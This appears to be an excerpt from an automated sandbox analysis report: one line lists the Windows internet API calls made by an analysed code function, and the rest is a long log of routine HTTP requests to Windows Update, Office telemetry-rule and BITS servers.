Code function: 6_2_0073BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

6_2_0073BE30

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+F6T7zwGA17n+KM&MD=+2W2RspU HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+F6T7zwGA17n+KM&MD=+2W2RspU HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
